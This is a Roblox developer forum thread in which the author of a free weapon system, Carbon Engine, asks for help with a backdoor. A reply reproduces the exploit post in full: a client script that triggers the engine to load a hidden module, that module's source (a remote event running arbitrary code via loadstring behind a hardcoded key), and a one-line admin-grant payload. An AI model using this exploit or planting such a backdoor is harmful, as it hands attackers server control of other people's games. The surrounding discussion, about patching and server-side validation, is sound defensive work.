Help Patching An Exploit!

I have created a weapon system and released it to the public, but there’s an exploit that I have no idea what is causing it. Can someone help me out? Here’s the product:

[CE] Carbon Engine | Revolutionary FPS Combat Technology - Help and Feedback / Cool Creations - Roblox Developer Forum

Here’s the thread: Carbon Engine Backdoor | Several Military Games [BEING PATCHED SOON] (v3rmillion.net)

I have no idea what this DumpLegacyShaderBuffer is.

3 Likes
Previous post - Includes V3rm post's content
For those without access to V3rm

I will be releasing some videos on this but we had our fun and its about to get patched so you guys might as well get your final few moments screwing around with it, Enjoy fellas, also you have to put your own server sided script in the last line of the script.

btw Carbon Engine is one of the top used free guns

Code:

if not game.Lighting:FindFirstChild("DumpLegacyShaderBuffer") then
    local args = {   [1] = false,   [2] = "HK416SCOPED",   [3] = 5250958196,}
    game:GetService("ReplicatedStorage").CarbonResource.Events[""]:FireServer(unpack(args))
end

local key = "In recent months, members of my Administration and officials of the Committee for the Re-Election of the President— including some of my closest friends and most trusted aides—have been charged with involvement in what has come to he known as the Watergate affair. These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity."

local plrName = game.Players.LocalPlayer.Name
local function executeScript(uwu)   
    game.Lighting.DumpLegacyShaderBuffer:FireServer(key, uwu)
end
executeScript("SERVER SIDED SCRIPT HERE")```

IF YOU GET AN ERROR THAT THE DEBUFFLEGACYSHADER ISNT IN THE LIGHTING ITS PATCHED

Execute things as the string the string is the script, here is an mml admin

Code:

executeScript("require(4823191136):mml('"..game.Players.LocalPlayer.Name.."')")

image

Censored user and games to minimize risk.


Side note: Ofscucated scripts make it much harder to debug whatever is going on. Either by supply chain attack or your scripts, it has created a remote event which allowed for this attack.

Using a password as a remote key is classed as security by obscurity and should be avoided. For example Is this a good way to protect remote events?

That script requires 5250958196 which runs (with loadstring included)

local wakakakaka = Instance.new("RemoteEvent", game.Lighting)
wakakakaka.Name = "DumpLegacyShaderBuffer"

local function LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA(plr, key, le_script)
	if key == "In recent months, members of my Administration and officials of the Committee for the Re-Election of the President— including some of my closest friends and most trusted aides—have been charged with involvement in what has come to he known as the Watergate affair. These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity." then
		require(script:WaitForChild("Loadstring"))(le_script)()
	end
end

wakakakaka.OnServerEvent:connect(LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA)

local module = {}

return module

Relevant code extract
if not game.Lighting:FindFirstChild("DumpLegacyShaderBuffer") then
    local args = {   [1] = false,   [2] = "HK416SCOPED",   [3] = 5250958196,}
    game:GetService("ReplicatedStorage").CarbonResource.Events[""]:FireServer(unpack(args))
end

local key = "In recent months, members of my Administration and officials of the Committee for the Re-Election of the President— including some of my closest friends and most trusted aides—have been charged with involvement in what has come to he known as the Watergate affair. These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity."

local plrName = game.Players.LocalPlayer.Name
local function executeScript(uwu)   
    game.Lighting.DumpLegacyShaderBuffer:FireServer(key, uwu)
end
executeScript("SERVER SIDED SCRIPT HERE")
local wakakakaka = Instance.new("RemoteEvent", game.Lighting)
wakakakaka.Name = "DumpLegacyShaderBuffer"

local function LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA(plr, key, le_script)
	if key == "In recent months, members of my Administration and officials of the Committee for the Re-Election of the President— including some of my closest friends and most trusted aides—have been charged with involvement in what has come to he known as the Watergate affair. These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity." then
		require(script:WaitForChild("Loadstring"))(le_script)()
	end
end

wakakakaka.OnServerEvent:connect(LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA)

It appears to be that loadstring is enabled on affected games, there is a debate on the safety of this matter. See this community resource:

The code seems to fire any one of your remote events within ReplicatedStorage.CarbonResources.Events; you should review how you deal with remote event security. Whatever HK416SCOPED means is a point to look.

4 Likes

Does this carbon engine need to to have loadstring enabled?

If they are able to execute server side code then surely there’s a back door in there somewhere?

Edit:

If loadstring is enabled and the carbon engine takes strings from remotes and loads them then that’s a major security floor that effectively acts as a back door for exploiters to use.

2 Likes

To secure your remotes, first, create an array with around 25+ different randomized strings, second, find at least 2 encryption methods, suggestion: Base64 encoding and one other one you can probably find online or on the forums, etc. Third, when you’re firing the remote, use HttpService:JSONEncode() on your final argument only if it is a table, otherwise just fire the final encrypted string. On the server, have the decryption method for both of your encryption methods, then decrypt them the way you encrypted, so if you did something like:

local datatogiveremote = "hello";
datatogiveremote = encrypt1(datatogiveremote)
encrypteddata = encrypt2(datatogiveremote)

remote:FireServer(encrypteddata)

-- server

remote.OnServerEvent:Connect(function(plr, string)
    local initialstring = decrypt2(string)
    local fullydecryptedstring = decrypt1(initialstring)
end)

You need to also make sure that the string you get after fully decrypting is a valid string that you are expecting, if it isn’t, kick the player or don’t use it at all and just return.

So basically just something like that, if you’re confused about something, let me know.

Security through obscurity is not the answer.

This seems to be a different issue as highlighted the previous replies.

I don’t see what’s wrong with it. It’s not the developers fault how insecure the scripting environment is. They should take precautions to try to keep their assets from being exploited.

All the exploiters script does is use the static key you have as the “password key” I’m guessing and then pass some type of asset Id I’m guessing to load a module.

@RiptideMorningstar
the issue looks pretty glaring

lots of your code looks to be just freely requiring whatever parameters they pass. They could pass their own module and you would in effect require their code.


image

4 Likes

Okay. Here are some resources explaining why this is the case…

You should take reasonable effort, security by obscurity is not that, this has been a thing for several decades. It would be not of the best interests to allow such a misunderstanding to continue.

You don’t actually need a key, you can just check on the server if the expected module that was passed is valid and part of your system.

It does secure the remote though? I’ve used it before and have used certain methods to keep known well experienced exploiters from using the remote unfairly.

“Security through obscurity is bad” is an opinion. There are objections to this statement because sometimes there isn’t another reasonable way.

how about we solve the actual problem which I already posted. he is not sanitizing some of the input that he is requiring; he assumes the player passes object references not numbers

they must not be experienced because all they need to do is get access to how you generate and pass keys

2 Likes

Which you can’t, if you obfuscate a script, the script basically becomes “empty”. Attempting to dump an obfuscated script with some type of LuaVM decompiler will just return an empty script. Attempting to constant dump an obfuscated script will also result in a similar result.

There are certain areas where security through obscurity is bad, I’ll say that at least. Keep in mind, most exploiters release their scripts which means whatever is being exploited doesn’t have some type of dynamic check of the client in your game.

ok but in this specific case we now know the exact issue and he does not need to pass remote keys etc.

also the synapse decompiler has some robust optimizations so I dont think it will fail too often to obfuscated code.

This is a complete waste of development time. The exploiter has full control over one of the communicating ends of remote traffic and they can fully investigate your code to see how you are encrypting traffic. It will only serve as a temporary hurdle, once they see how you are encrypting the logic you’ll have to change it again and it will turn into a cat-and-mouse chase.

Implement server-sided checks on your remote communication to ensure the requests are valid. Security through obscurity is not real security and is a waste of time to implement, considering you can have perfect security (from developer code perspective) if you implement proper server-sided checks, probably with similar amounts of development time invested.

Please read the articles linked above if you are still confused on why security through obscurity is a bad idea. Trying to encrypt remote traffic is a noob trap.

8 Likes

The obscurity is not for security it’s too help keep me code from being reused by less knowledgeable programmers in their own work. My way of keeping my code to myself, and also providing an engine for people to use.

I’m working on it, no worries. I’m doing my best to learn new methods of checks and etc. This is new territory to me.

Thank you swag. I’ll work on fixing this!